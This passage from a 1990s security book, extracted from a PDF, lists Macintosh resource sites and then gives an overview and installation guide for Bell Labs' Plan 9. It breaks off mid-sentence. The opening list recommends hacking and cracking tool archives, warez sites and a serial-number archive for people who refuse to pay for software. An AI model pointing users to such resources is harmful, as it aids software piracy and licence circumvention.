\nClaireWare Software. Macintosh applications, security. \n• \nhttp://www.leonardo.net/kamprath/claireware.html \nMacintosh Security Tools. CIAC. (U.S. Department of Energy.) \n• \nhttp://ciac.llnl.gov/ciac/ToolsMacVirus.html \nThe Ultimate Hackintosh Linx. Warez, security, cracking, hacking. \n• \nhttp://krypton.org.chemie.uni-frankfurt.de/~jj/maclinks.html \nAoHell Utilities at Aracnet. Hacking and cracking utilities for use on America Online. \n• \nhttp://www.aracnet.com/~gen2600/aoh.html \nHacking Mac's Heaven! Hacking and cracking tools and links from the Netherlands. \n• \nhttp://www.xs4all.nl/~bido/main.html \nLord Reaper's Hacking Page. Cracking and hacking utilities for use on MacOS. \n• \nhttp://www.themacpage.simplenet.com/hacking.html \nFiles for Your Enjoyment. UK site with Mac hacking and cracking utilities. \n• \nhttp://www.gmtnet.co.uk/simmnet/files.htm \nThe Grouch's Page. The ultimate list of Mac hacking and cracking software. \n• \nhttp://www.faroc.com.au/~botoole/phun.html \nGuide to Cracking Foolproof. Quite complete. \n• \nguidhttp://www.yatho.com/weasel/files/FoolProofHack.txt \nVladimir's Archive. Good, quick-loading archive of some baseline Mac hacking and \ncracking tools from Japan. \n• \nhttp://www.plato-net.or.jp/usr/vladimir/undergroundmac/Cracking \nTreuf's Mac SN# Archive. Serial number archive for those who refuse to pay for \nsoftware, use free software, or write their own. \n• \nhttp://www.mygale.org/02/treuf/underground.html \nThe Mac Hack Page. A very large collection of strange and often unique utilities. This \nsite also has links to many of the major Mac hacking and cracking tools, text files, and \nother assorted underground materials. \n• \nhttp://members.tripod.com/~Buzzguy/The_Mac_Hack_Page \nDArKmAc'S pHiLeZ. Yet another archive of baseline Mac hacking and cracking \nutilities. \n" }, { "page_number": 406, "text": " \n \n• \nhttp://www.geocities.com/SiliconValley/Heights/3921/Philez.html \nZiggiey's Hack Hut for Macs. Extraordinary, dynamic list for \"warez\" sites, the \nmajority of which are reachable via FTP or Telnet. \n• \nhttp://www.geocities.com/SiliconValley/5701/ \nZines and Electronic Online Magazines \nMacUser On-Line Magazine. \n• \nhttp://web1.zdnet.com/macuser/ \nMacCentral. Extensive and very well-presented online periodical about Macintosh. \n• \nhttp://www.maccentral.com/ \nMacworld Daily. The latest and greatest in Macintosh news. \n• \nhttp://www.macworld.com/daily/ \nMacSense Online. Good resource for quick newsbytes on the current state of the art with \nMacintosh. \n• \nhttp://www.macsense.com/ \nMacHome Journal Online. Good, solid Internet mag on Macintosh issues. \n• \nhttp://www.machome.com/ \nCore! Online. Electronic Journal in the UK. \n• \nhttp://www.duxx.demon.co.uk/core/main.htm \nThe Internet Roadstop. Online periodical addressing Macintosh Internet issues. \n• \nhttp://www.macstop.com/ \nMacAssistant Tips and Tutorial Newsletter and User Group. Very cool, useful, and \nperhaps most importantly, brief newsletter that gives tips and tricks for Mac users. \nCommercial, but I think it is well worth it. A lot of traditional hacking tips on hardware, \nsoftware, and special, not-often-seen problems. These are collected from all over the \nworld. $12 per year. \n• \nhttp://www.users.mis.net/~macasst/ \nMacTech. Well-presented and important industry and development news. You will likely \ncatch the latest dope on new security releases here first. Also, some very cool technical \ninformation (for example, the development of the new, high-end \"SuperMacs,\" which are \nultra-high- performance Macs that offer UNIX workstation power and even \nmultiprocessor support). \n• \nhttp://web.xplain.com/mactech.com/ \n" }, { "page_number": 407, "text": " \n \nThe Underground Informer. E-zine that concentrates on the often eclectic and creative \nBBS underground out there. \n• \nhttp://www.primenet.com/~lonnie/ui/ui.html \n" }, { "page_number": 408, "text": " \n \n21 \nPlan 9 from Bell Labs \nAlmost thirty years ago, the team at Bell Labs (now Lucent Technologies) changed the \nworld by developing what would later become the most popular networked operating \nsystem in history. From then until now, UNIX has ruled the Internet. Even if that were \nthe only contribution ever made by Bell Labs personnel, it would have been sufficient. \nThey would been have been held in high regard as having achieved something truly \nuseful and important. As any programmer will tell you, however, the contributions from \nBell Labs kept coming. \nIn the early 1990s, the folks at Bell Labs were still busy. This time, however, they had \nmore than 25 years of experience under their belts. With that experience, they challenged \nthemselves to create the ultimate networked operating system. Did they succeed? You \nbet. It is called Plan 9 from Bell Labs. \nThe Basics \nThe team at Bell Labs (which includes such heavy-duty names as Ken Thompson and \nDennis Ritchie) were reportedly dissatisfied with the then-current trends in computer \ntechnology. They realized that hardware considerations made networking a difficult \nproposition, one that didn't always work out in terms of cost effectiveness or \nperformance. Hardware dependencies and proprietary design make networking more of a \nforced environment than a truly fluid, easy one. By forced environment, I mean that \ndozens of often disparate and incompatible protocols, drivers, and software are patched \ntogether to provide a shaky and sometimes unreliable integration of networks. \nAlas, although the Internet may sometimes be referred to as a miracle of distributed \ncomputing, it isn't. The current system works only because we have forced the TCP/IP \nstack upon a handful of architectures (many that were never designed to run these \nprotocols). Thus, the Internet has the appearance of being an amalgamated, united \nnetwork. On closer examination, however, it is clear that the Internet is exploiting only a \nvery meager portion of the networking power at its disposal. \nConsider this: FTP is one of the most commonly used techniques to move information \nfrom one place to another. When a user transfers a file via FTP, he is a remote user, \naccessing some resource on a server in the void. The word remote is the key feature here. \nIt denotes a condition wherein the user is isolated. To access the resources at the other \nend, the user must perform several actions (these may include initiating the FTP session, \nunzipping the file, placing it in the proper directory, and so on). FTP therefore places the \nuser at arm's length. The use of the resource does not occur in a fluid environment. \nSimilarly, and to an even greater extent, HTTP isolates the user. True, it appears to the \nuser as though he is working interactively with a Web site, but he isn't. In fact, HTTP \nmay isolate the user more than any other network protocol. For example, you are not \n" }, { "page_number": 409, "text": " \n \nlogged in as you are with Telnet or FTP. In fact, you are connected only for the brief \nperiods--seconds, actually--necessary for your client to relate which resources it needs. \nThis is the farthest thing from a traditional shared network environment. \nIn contrast, suppose that instead of retrieving a file and placing it in your physical \nlocation, you simply want to use the file momentarily. This is sometimes achieved \nthrough file sharing in proprietary network environments (environments where a \ndirectory or a file can be attached to the local machine). In such cases, the resource \nappears and behaves as though it is on the local machine. This technique is more akin to \ntrue, networked computing. It is a one-step process. \nNow imagine an operating system that was designed to interface in this manner with \nmany different types of systems and hardware, an operating system that could provide \nthis real networking to hundreds (or even thousands) of workstations, irrespective of \nhardware constraints. Imagine an operating system that makes FTP directories of remote \nmachines appear as local directories (regardless of where the target server may be \nlocated). If you can imagine this, you are well on your way to understanding the basic \ncharacteristics of Plan 9. \nWhat Plan 9 Is Not \nPlan 9 is not UNIX, or any variant thereof. But if you install the demo distribution, you \nmay initially be confused on this point. At first glance, it looks a lot like UNIX \n(particularly when you make a directory listing). Make no mistake, though. Plan 9 is an \nentirely new operating system. As explained in the Plan 9 from AT&T Bell Laboratories \nFAQ: \nPlan 9 is itself an operating system; it doesn't run as an application under another system. It was \nwritten from the ground up and doesn't include other people's code. Although the OS's interface to \napplications is strongly influenced by the approach of UNIX, it's not a replacement for UNIX; it is \na new design. \n \nNOTE: Visit the Plan 9 FAQ \nhttp://www.ecf.toronto.edu/plan9/plan9faq.html. \n \nDespite the fact that Plan 9 is an entirely different operating system, it does retain some \nof the look and feel of UNIX. There is still a shell (called rc) and that shell appears much \nlike the popular shells available in most distributions of UNIX. Files, for example, can \nstill be displayed in a UNIX-like long format, along with their attending permissions. \nMoreover, one can still differentiate between files and directories using the standard -F \nswitch (in fact, many of the stock UNIX commands are available and most of these \nbehave pretty much as they do on a UNIX box). However, the resemblance to UNIX is \nlargely superficial. The underlying operating system works very differently. \nOne of the chief differences is the way that Plan 9 treats objects (objects in this case \nbeing directories, files, processes, and so forth). Under Plan 9, all objects are treated as \nfiles. This technique has been implemented in UNIX as well (for example, UNIX treats \nmany devices as files), but not to the extent that it has in Plan 9. \n" }, { "page_number": 410, "text": " \n \nMachines That Run Plan 9 \nThe reported architectures include \n• \nMIPS \n• \nSPARC \n• \n68020 (NeXT) \n• \nIBM compatibles \nIt is reported in the Plan 9 from AT&T Bell Laboratories FAQ that various ports are also \nunderway for the following systems: \n• \nSGI Indy \n• \nDEC Alpha \n• \nPowerPC \n• \nDECstation 2100 and 3100 \nMy experience with installing the Plan 9 distribution has been on the IBM compatible \nplatform. As you will see, I went through several generations of hardware before landing \non the right combination. \n \nCross Reference: If you intend to install Plan 9 as a hacking project, you would do well \nto visit http://www.ecf.toronto.edu/plan9/clone.html. This page \ndescribes the hardware that was used at Bell Labs, and will provide you with a nice \nguideline of hardware that is known to work with Plan 9. \n \nSome Concepts \nPlan 9 was designed from the beginning as a networked operating system. As such, the \nconcepts behind it relate more to networking than to the needs of the individual user. Its \ndefining characteristics are the ways in which it handles networking. As noted in the \npress release for the product: \nThe Plan 9 system is based on the concept of distributed computing in a networked, client-server \nenvironment. The set of resources available to applications is transparently made accessible \neverywhere in the distributed system, so that it is irrelevant where the applications are actually \nrunning. \n \nCross Reference: Find the press release from which the preceding paragraph is \nexcerpted at http://www.lucent.com/press/0795/950718.bla.html. \n \nTo understand how the Plan 9 system differs from other networked operating systems, \nexamine Figure 21.1. \nFIGURE 21.1. \nThe typical network configuration (without Plan 9). \n" }, { "page_number": 411, "text": " \n \nThe typical network configuration (the one most often seen in offices) uses a file server \nand a series of workstations. Each of the workstations is outfitted with a host of hardware \nand software (hard disk drives, adequate memory, a windowing system, and so forth) that \nprovides it with the necessary power and networking to connect. System administrators \nand other, administrative personnel will recognize this setup to be an expensive one. \nBecause the computer industry has enjoyed tremendous growth (particularly in the last \nfew years), network designs like the one shown in Figure 21.1 are common. Nodes on \nsuch networks are usually Pentiums or PowerPCs. You may own such a network \nyourself. If you do, consider this: Is it necessary that you have such a powerful machine \nat each node? Or, could it be that this type of configuration is a profligate waste of \nenormous CPU power? For example, how much CPU power does the accounting \ndepartment actually require? It depends on what operating system you are running. If you \nare running DOS-based applications over NetWare, the accounting department doesn't \nneed much power at all. However, if you are running Windows 95, it will need speed and \nmemory. \nThat speed and memory, by the way, is being eaten purely by features that make your \nplatform prettier and more user friendly. In practice, the average accounting task done in \na DOS-based application would be barely noticeable to a Pentium processor. Contrast \nthat with accounting done in Microsoft Excel on the Windows 95 platform. In reality, \nprocessor-intensive tasks requiring real power might include tasks like compiling large \nprograms in C++. These tasks, even in a DOS environment, can tax a processor. \nSo the first point is this: Modern network design wastes processor power by dispersing it, \noften where it is not most needed. But there are other key disadvantages to this typical \nnetwork implementation. One is that files are strewn throughout the network, many of \nthem deposited on this or that hard disk drive. How many times have you encountered the \nfollowing situation: \n1. A machine along the network fails. \n \n2. The machine that failed has a file vital to office operations. \n \n3. You recover that file (usually by depositing the hard disk drive from the failed machine into \nanother, operable one, or by performing a restore). \nIf you have never encountered this situation, consider yourself lucky. I have seen it \nhappen many times. Also, because users often store files locally (on their own \nworkstation), employees must file share and therefore, their machines must always trust \neach other. \nPlan 9 takes a totally different approach. In Plan 9, the jobs of processing and file storage \nand separated, as are the machines that perform these tasks (see Figure 21.2). \nFIGURE 21.2. \nThe Plan 9 networking concept. \n" }, { "page_number": 412, "text": " \n \nNote the CPU server in Figure 21.2. This would typically be a very powerful machine \n(probably multiprocessor) that would provide CPU services to remote workstations or \nterminals. This is complemented by a file server. \nThis system has some important advantages. First, there is centralized control of files. \nThis has obvious security advantages. Centralized file control also allows easier \nmanagement of files. Moreover, it provides an environment in which permissions may be \neasily viewed and alteration of files may be more readily detected. \nAlso (though this has little to do with security), as mentioned in the Plan 9 \ndocumentation, this centralized file management is of benefit to a programming team. \nProject management is more easily accomplished and the system offers a sense of \ncommunity for the programming team. \nMoreover, the Plan 9 system performs without a root operator. Users must be \nauthenticated to gain access to privileged files or processes, and this authentication has \nbeen described as similar to authentication using MIT's Kerberos. Kerberos is a method \nof authenticating network connections and requests. To perform this authentication, \nKerberos examines secret, ciphered keys belonging to the user. Passwords in Plan 9 are \ntherefore never passed across the network. This greatly enhances the security of the \noperating system. Moreover, user programs are reportedly never run as processes on the \nfile server, and processes that are run belong to the individual user. Root does not exist. \n \nCross Reference: To examine the internal workings of Kerberos (and the procedural \nexecution of authentication), visit http://www.pdc.kth.se/kth-\nkrb/doc/kth-krb_2.html. \n \nDiscarding the concept of root was an excellent idea. The majority of serious cracking \ntechniques rely on exploiting programming weaknesses in processes that run as root. In \nPlan 9, there is no root, and therefore, no such processes. \n \nNOTE: To my knowledge, there has not yet been extensive focus on Plan 9 security \noutside the confines of Lucent Technologies (previously AT&T). Therefore, it is not \nknown whether there are security flaws inherent in Plan 9's design. The only thing that \nqualifies as a known bug at this point (those who use it have thus far been pretty quiet) is \nthat users can sometimes log in as user none from a remote connection. I suspect that in \nthe future, as Plan 9 becomes more well known, various attacks will be instituted against \nthe system and bugs will likely surface. \n \nIn short, Plan 9 security is an area yet to be explored. Nonetheless, in terms of its network \nimplementation and its basic design, Plan 9 already presents significant roadblocks to the \ncracker. Certainly, typical advanced techniques of attacking UNIX servers will probably \nfail when implemented against Plan 9. The future, however, remains to be seen. \n \nNOTE: I cannot stress the importance of the concept of life without root. Nearly all \noperating systems evaluated as secure maintain some concept of a root operator. The \nconcept of root concentrates all the power in a single place on the system. If a cracker can \ngain root, the struggle of penetrating security is over. However, I should quickly point out \nthat the absence of root on a Plan 9 system does not mean that an administrator is not \n" }, { "page_number": 413, "text": " \n \nneeded. In fact, in certain respects, Plan 9 transforms the job of system administrator into \none of architect. In short, Plan 9 is designed for vast--if not massive--management of \nnetwork resources. Although still in the experimental stages, Plan 9 could change the \narchitecture of the Internet and with it, the concepts surrounding acceptable security \npolicies and implementations. \n \nApplications Available for Plan 9 \nAdmittedly, there are few native Plan 9 applications, but the list is growing. Remember: \nPlan 9 is an entirely new operating system, so the number of applications depends on how \nmany individuals actually use the system. \n \nNOTE: A caveat: The licensing restrictions set forth by Bell Labs makes it very difficult \nto create commercial applications for Plan 9. The licensing scheme has cast Plan 9 into a \nposition of being available only from Bell Labs at a high price and without hope in the \nnear future of complete commercialization. For now, therefore, Plan 9 remains largely \nunder the purview of researchers and hobbyists who are willing to shell out $300 for the \nsystem and documentation. Many freelance programmers protest this situation, arguing \nthat Plan 9 ought to have licensing restrictions similar to those that apply to Linux. After \nall, why would someone develop on a platform that may ultimately be barred from \ncommercialization? The answer is this: People would undertake such development for the \npure pleasure of discovering and hacking a new system. However, many hobbyists are \nunwilling to pay the stiff licensing fee for the entire system. \n \nDespite some licensing restrictions with Plan 9, some important applications have already \nbeen written: \n• \nAn HTTPD server \n• \nText editors \n• \nA version of MIT's X Window system \nMoreover, the basic distribution of Plan 9 comes with a wide range of utilities and even a \nnative Web browser called Mothra. Mothra may not be as colorful and user friendly as \nNetscape Navigator or Microsoft Internet Explorer, but it works quickly and efficiently. \nIn fact, Plan 9 possesses few user-friendly features. It is a largely text-based environment. \nIt is more practical than attractive, and many elements of its design are of significant \ninterest to programmers. \nSAM \nThe most prominent native application for Plan 9 is the SAM editor, which is a straight \nASCII text editor with a twist. It has a command language that can be used to process \nrepetitive tasks (much like a macro language, I suppose, but a bit more defined). On the \nsurface, SAM operates in much the same way UNIX-based text editors. File names \n(single or multiple) can be specified on the command line. This loads the file(s) into a \nwindowed area. There, the text can be clipped, pasted, cut, altered, edited, and saved. \nLike most UNIX-based text editors, SAM does not support multiple fonts, style sheets, or \nother amenities common to modern word-processing environments. In fact, Plan 9 would \n" }, { "page_number": 414, "text": " \n \nbe a poor choice for anyone who relies on such amenities, for they do not exist within the \nsystem at this time. \nThe SAM command language operates mainly on regular expressions and is suitable for \ninserting, deleting, finding, replacing, and so on. These functions are generally called by \na single character, followed by your intended text. In other words, the text to be found, \nreplaced and so forth. \nIn short, SAM appears very bare bones, but really isn't. Learning the SAM command \nlanguage takes a day or so, although you might need several weeks to become proficient. \nPlan 9's Window System \nPlan 9 has a window system called 8 1/2. After the system boots, it asks whether you want \nto load the window system. If you choose this option, 8 1/2 appears. On first examination, \n8 1/2 looks extremely rudimentary (far more so than X, even). The opening screen presents \none term window and a clock. Navigation is done largely with the mouse. \n \nTIP: To fully utilize the 8 1/2 windowing system, you need a three-button mouse. A two-\nbutton mouse will work, but you will lack at least one menu and some serious \nfunctionality. \n \nTo size a window, click any portion of the blank screen. This invokes a menu with \noptions including Size, Move, Delete, and Hide. After you choose an option, click the \ntarget window. For both the hide and delete functions, the window behaves as it would in \nX; it disappears or is deleted. However, for the move and size functions, you must work a \nlittle differently. After choosing the menu option, click the window once. Then, instead \nof directly sizing or moving the window, click the black screen again (this time with the \nright mouse button) and redraw your window. This may initially seem awkward, but \nyou'll get used to it. \n8 1/2 is extremely lightweight. Even on a machine with 8MB of RAM, 8 1/2 responds \nquickly. On a Pentium 133 with 64MB of RAM, 81/2 is incredibly fast. \n8 1/2 is more dynamic than most other windowing systems. You can grab any text \nanywhere and use it as a command. In this regard, 8 1/2 could be called the ultimate cut-\nand-paste system. Text identifying objects (which is often read only on other platforms) \ncan be grabbed at any point and dropped into any other part of 8 1/2. In fact, this feature is \nso prominent that new users may find themselves grabbing things without even knowing \nit. In addition, as part of this functionality, the cursor can be placed anywhere within a \nwindow. This is a significant change. Users of X and Microsoft Windows alike will find \nthis feature to be fascinating. For example, although you can cut and paste from an \nXTERM or a MS-DOS windowed prompt, you cannot arbitrarily drop the cursor in any \narea and pick up typing again. In 8 1/2, you can. \nI suppose 8 1/2 can best be described as a window system optimized for programmers. \nCode and other data can be moved at any time from any position. But perhaps the most \nfascinating thing about 8 1/2 is that you can recursively run an instance of 8 1/2 within an 8 \n" }, { "page_number": 415, "text": " \n \n1/2 window. To my knowledge, this functionality is indigenous only to 8 1/2. No other \nwindowing system can perform such a task. (Funny. Although this is an extraordinary \nfeature, I have not yet encountered a reason to use it.) \nThe learning curve on 8 1/2 amounts to a day or two at most. If you are familiar with any \nimplementation of X (or more directly, if you have ever used SunView), learning 8 1/2 will \nbe simple. To some extent, 8 1/2 reminds me of SunView. \n \nNOTE: SunView, a windowing system introduced in early versions of SunOS (the \noperating system created by Sun Microsystems), is extremely lightweight and, even on \nSunOS 4.1.3, is faster than Sun's later windowing system, OpenWindows. OpenWindows \nis enormously popular among Sun users, although it is perhaps slower--and not as \nvisually stunning--as the Common Desktop Environment (CDE), a new windowing \nsystem jointly developed by many UNIX vendors. \n \nProgramming in Plan 9 \nUltimately, I would recommend Plan 9. If you are a programmer and are looking for a \nnew and exciting operating system to develop on, Plan 9 is for you. It is exciting \nprimarily because of its unusual design. And, although it is not UNIX, it has enough \nUNIXisms that UNIX users can hit the ground running. Moreover, the unique networking \ncapabilities of Plan 9 present new opportunities for programmers. \nProgramming in Plan 9 is not limited to C, though the real Plan 9 distribution does come \nwith a native C compiler. This C compiler is designed to accommodate code for all the \nsupported architectures, including (but probably not limited to) \n• \nIBM (Intel X86) \n• \nSPARC \n• \n68020 \n• \nMIPS \nThe compiler accepts straight ANSI C, but be forewarned: If you have avoided learning \nsome of the newer conventions, you may encounter difficulties. Rob Pike has written a \npaper describing Plan 9 C compiler usage. I highly recommend reading that paper in its \nentirety before attempting to code any serious application on the Plan 9 platform. \n \nCross Reference: Rob Pike's paper, titled \"How to Use the Plan 9 C Compiler,\" can be \nfound online at http://kbs.cs.tu-berlin.de/~jutta/c/plan9c.html. \n \nIf you plan to concentrate on porting applications to or from Plan 9, check out the ANSI-\nPOSIX Environment (APE). The APE features a wide range of POSIX tools. \n \nCross Reference: An excellent technical overview of APE written by Howard Trickey \n(\"APE--The ANSI/POSIX Environment\") can be found online at \nhttp://plan9.bell-labs.com/plan9/doc/ape.html. \n \n" }, { "page_number": 416, "text": " \n \n \nNOTE: POSIX stands for Portable Operating System Interface, a standard that has been \nin the works for many years. This standard is an effort on the part of developers to \nestablish a unified UNIX. In other words, if a program is fully POSIX compliant, it \nshould run on any fully POSIX-compliant platform, be it SunOS, Linux, AIX, HP-UX, or \nother versions of UNIX. For many years (and even now) there have been both sharp and \nsubtle differences between various UNIX platforms that prevent easy porting of \napplications. The POSIX standard will likely change that. To learn more about POSIX, \nvisit http://csrc.ncsl.nist.gov/nistbul/csl91-10.txt. \n \nGarden-variety throwaway programming can also be done in rc, the shell environment of \nPlan 9. \nThe complete distribution of Plan 9 also comes with extensive libraries, including one for \nthe development of windowed applications intended to run within 8 1/2 (windows are \nactually referred to as panels). Tom Duff has written quite a good paper on the \ndevelopment of panels in Plan 9. He likens the panel library to the popular development \npackages Tcl and Tk. Linux users will be familiar with Tcl and Tk. Both are languages \n(and development libraries) for use in generating X Window System applications. One of \nthe most popular features about Tk is that you can build a windowed application using a \nlanguage very similar to a macro language. It is possible to quickly develop applications \nusing these tools because objects within the window environment are placed by the use of \ndirect statements. For example, the command within a Tk script to create a button is: \nbutton .name_of_button \npack .name_of_button \nSimilarly, the development syntax for windowed applications intended for use in Plan 9 \nis reduced to direct statements (although this is still done using basic C). \n \nCross Reference: If you are interested in developing windowed applications in Plan 9, \nTom Duff's paper, \"A Quick Introduction to the Panel Library,\" can be found online at \nftp://plan9.bell-labs.com/plan9/doc/panel.html. \n \nAnother interesting aspect of Plan 9 is its inclusion of the Alef programming language. \nAlef is a relatively new language. Unfortunately, a discussion about the Alef language is \nbeyond the scope of this book (that is a delicate way of saying that I know too little about \nAlef to provide you with quality information). \n \nCross Reference: To find more information about Alef, check out the language reference \nmanual. It can be found online at http://plan9.bell-\nlabs.com/plan9/doc/ref.html. \nAnother important resource (probably even more valuable than the \nlanguage reference manual, especially for the newcomer to Alef) is the \nAlef mailing list. It can be viewed online at \nhttp://plan9.wtf.nyc.ny.us/1996/0001.html. \n \n" }, { "page_number": 417, "text": " \n \nIn all, Plan 9 is a very rich development environment. One thing that makes it especially \nexciting is that the field is wide open. It is a whole new operating system just waiting for \nnew and useful applications to be written. \nInstalling the PC Distribution \nYou might want to try out a working demo of Plan 9; Bell Labs has generously provided \nsuch a distribution free of charge on the Internet. However, before you install Plan 9, \nthere are some things you should consider. One is whether you should even begin. As \nwith any new operating system, you should expect bad things to happen. These may \nrange from simple installation failures to data or disk corruption. \n \nNOTE: If such events occur, it is most likely because you are using unsupported \nhardware. When the right hardware is used, Plan 9 works beautifully. Of course, not \neveryone has the money to go out and acquire the exact hardware used at Bell Labs. If \nyour cash is limited, expect a certain amount of trouble along the way. \n \nMoreover, you'll experience a high level of frustration. If you have ever installed an \noperating system that is less than user friendly, you know the terrain. Cryptic errors may \nappear, and you will undoubtedly be forced to hack here and there. These obstacles will \nbe particularly prominent if you are installing the four disk, free PC distribution on \ndubious hardware. \nThe Machine Targeted for Installation \nThe machine that you use should be free and clear. That is, under no circumstances \nshould you install the Plan 9 distribution on a machine that you rely on to make a living \n(even if you are installing Plan 9 on a separate disk). There have been instances in which \nPlan 9 installations have permanently disabled the boot capabilities of other operating \nsystems or partitions. The only reason you should make such an installation is if your job \nrequires it (or if you are a programmer who loves adversity). Otherwise, use that old \nDX66 you have lying around in the closet. \nIf you only have one machine and still want to experiment, get a rack-mount disk \nchanger. This device allows you to switch hard disk drives quickly and easily. It works in \nexactly the same fashion as a slide-out car stereo. Your hard disk drive is secured in an \nenclosure that slides into your PC tower. In this manner, you can switch from your \nregular disk drive (containing the operating system you use for work) to the Plan 9 drive. \n \nNOTE: To my knowledge, there have been no known instances of Plan 9 installations \ndamaging hardware, so there is no reason why you should fear temporarily switching \ndisks. \n \nThe machine need not be particularly fast, though I would recommend 66mHz or better. I \nhave installed the distribution on a DX33mHz, a DX266mHz, a DX4120mHz, and a 133 \nPentium. To be honest, I did not find an incredible increase in speed between the 120 and \nthe 133, nor did I find the difference between the 66 and the 120 unbearable. However, \nthe DX33 was admittedly quite slow. \n" }, { "page_number": 418, "text": " \n \nMemory is important. You will need at least 8MB. Some documents on the Internet \nsuggest that there are individuals running Plan 9 with 4MB of RAM, and I believe it. \nHowever, of the seven times that I installed the PC distribution, I was twice confronted \nwith an Out of Physical Memory message. This was, as it happens, a fatal error. \nImmediately following this message, the installation failed. On both occasions, I was \nusing only 8MB of RAM. On an identical machine, after installing additional RAM, I \nmanaged to complete the installation successfully. \nThe Hard Disk Drive \nWhat hard disk drive you use depends on what you are installing. If you are simply \ninstalling the PC distribution, you can successfully use a 40MB hard disk drive. \nHowever, if you intend to install the entire Plan 9 distribution from CD-ROM, you need a \nhard disk drive equal to or greater than 540MB. \n \nTIP: It has been reported in documentation that a 500MB disk will suffice. As far as I \ncan tell, this is not entirely accurate. If you make a direct installation from the CD-ROM, \nyou will require a 540MB disk (or approximately 532MB). The only way to get around \nthis is to first install the basic four-disk PC distribution, and then more incisively install \nthe remainder of the distribution from CD-ROM. This eliminates many items that are \nintended for use on other platforms. Be advised, however, that this is a more difficult path \nand may result in problems getting your CD-ROM to catch. (Sometimes, the CD-ROM \ndriver does not properly initialize the CD-ROM drive.) It is a much better idea to make \nthe full install and later delete what you do not need. \n \nI recommend a 540 or 600MB drive. I should state that my installations were performed \nentirely with IDE drives and therefore, I cannot give background on SCSI-based \ninstallations. I obtained suitable results with the following drives: \n• \nMiniScribe 8051A (41MB) (Don't laugh. It worked flawlessly.) \n• \nConner CFS540A (EZD03) (540MB) \n• \nQuantum Maverick ProDrive #MV54AO11 (514MB) \n• \nMaxtor 7245AT (243MB) \nThe Installation Process \nI will assume that you are installing the four-disk PC distribution. This set of four diskette \nimages is located online at ftp://plan9.bell-\nlabs.com/plan9/pcdist/README.html. Download these into a temporary directory on \nyour current hard disk drive. \n \nNOTE: The term diskette images refers to four files located at the Plan 9 site. These files \nare exact copies of four diskettes required to make an installation set for Plan 9. These \nfiles or images must be downloaded to your local machine and written to floppy \ndiskettes. \n \n" }, { "page_number": 419, "text": " \n \n \nTIP: It is important that you obtain the disks from this site. Earlier versions of these boot \ndisks may be available at other locations, but you should not use them. On installation, \nearlier versions have a tendency to damage other partitions on the disk drive. A typical \nexample would be where Plan 9 disabled a Linux partition during the installation process. \nAgain, I strongly advise against installing Plan 9 on any hard disk drive that contains vital \nor irreplaceable information. \n \nThe diskette images at that location are \n• \ndisk1 \n• \ndisk2.vd \n• \ndisk3.vd \n• \ndisk4.vd \nAfter you download these diskette images, write them directly to a floppy. \n \nNOTE: Copying the diskette images to a floppy involves a process that is different from \ncopying files to a floppy. Copying the diskette images directly to floppy will not suffice \nand will result in an installation failure. \n \nA number of utilities for writing disk images to floppy disks are available. The most \npopular is a program called DD.EXE. A DOS version (suitable for use under Windows 95) \nis available on-line at \n• \nhttp://access1.sun.com/drivers/utilities/dd.exe \nAnother utility used for this purpose (and one that is more widely available on the \nInternet) is RAWRITE.EXE. Linux users will be familiar with RAWRITE.EXE because it used \nto write the boot diskette images for Linux to a floppy. RAWRITE.EXE is available online \nat \n• \nftp://sunsite.unc.edu/pub/Linux/distributions/slackware/install/RA\nWRITE.EXE \nAfter you write these images to a floppy, switch to the target machine (or hard disk \ndrive). On the hard disk drive of the target disk, you must establish a DOS partition. The \nsize of this partition is not particularly important (I use 10MB). It really only needs to be \nlarge enough to hold DOS and approximately 1.5MB of information in a directory called \nC:\\PLAN9. \nPartitioning the Disk \nTo partition the disk, use the FDISK.EXE utility (see Figure 21.3). \nFIGURE 21.3. \nThe FDISK utility. \n" }, { "page_number": 420, "text": " \n \nFirst, delete all partitions (you will be starting over with an entirely clean disk). Allocate \nwhatever space you intend for the DOS area (I recommend at least 11MB). After you \nreboot your machine, you will format this partition and install DOS onto it. \n \nNOTE: At this stage, you should have a hard disk drive with one DOS partition at least \n11MB in size. The rest of your hard disk drive should not contain any other type of \npartition. \n \nInstalling the Basic Plan 9 System \nThe remaining steps of this portion of the installation are simple. Boot with the Plan 9 \nboot diskette (this is the diskette to which you wrote the disk1 file). During the boot \nprocess, you will see a series of messages; most are easy to read and interpret. Plan 9 \ntracks your memory and reports what portions of it are available. It identifies your \nhardware. Ultimately, it brings you to a nice blue screen, which contains the heading \nSystem Installation & Configuration. \nFrom this screen, you perform the installation. Pressing the Enter key invokes a menu \ncontaining various installation options. Ensure that these are correct for your machine. \nWhen you are satisfied that these options are correct, choose the Install option. \nA window will appear, and many filenames will scroll past. Do not be alarmed. This is \nPlan 9's way of telling you which files were installed. When this process is complete, \nPlan 9 interrogates you about your hardware. Specifically, options must be set for your \nVGA, mouse, and so forth. Provide the necessary answers and choose Save \nConfiguration from the menu. \n \nNOTE: Plan 9 gives you an opportunity to change the options before they are committed \nto the disk. A dialog box appears, listing your options. If they are incorrect, go back and \nchange them. \n \nAfter the options have been saved, you can remove the floppy disk and reboot the \nmachine. Your DOS should boot normally. As mentioned previously, almost all problems \nwith this installation procedure occur at time of booting disk1. To my knowledge, there \nhave been few instances of problems occurring on the reboot to DOS. \nInstalling the Remaining Diskette Files \nAfter you reboot your machine, change your current directory to C:\\PLAN9 and type the \nletter B to load an installation program. You must define the target disk drive. This tells \nPlan 9 in which disk you intend to house the Plan 9 file system. I am assuming here that \nyou have a single disk, so this is not an issue. But if you are installing to a machine with \nmultiple disks (and partitions), take extra care to ensure that it is the correct partition. \n \nWARNING: If you choose the incorrect partition, all your data on that partition will be \nlost. Be absolutely certain that you have chosen the correct partition before you commit \nto the install procedure. \n \n" }, { "page_number": 421, "text": " \n \nAfter you choose your partition, Plan 9 begins the file system installation process. A \ndialog box appears, prompting you to insert the second disk into the floppy disk drive. \nAfter you do so, the installation of system files commences. You will again see a pop-up \nwindow with filenames scrolling by. Insert disks as the program requests them. When the \ninstallation procedure is complete, you will be prompted by a menu. Choose the option \nthat says Make the newly installed Plan 9 the default. \nCongratulations. At this stage, the installation procedure has been completed. You can \nnow remove the fourth disk, reboot your machine (choose this menu option), and begin to \nexplore Plan 9. \nStarting Plan 9 \nWhen you machine reboots, change your current directory to Plan 9. There, type the \ncommand \nB \nThis loads the Plan 9 system. First, you will see many of the same messages you saw \nwhen you booted with the boot floppy (Disk1). The system will identify your hardware, \ncount your memory, and describe some resources. When it is finished, a line that looks \nlike the following will be printed to your terminal: \nroot is from (local, 9600, 19200, il)[local!#H/hd0fs]: \nPress the Enter key. You will then be prompted with a line that looks like 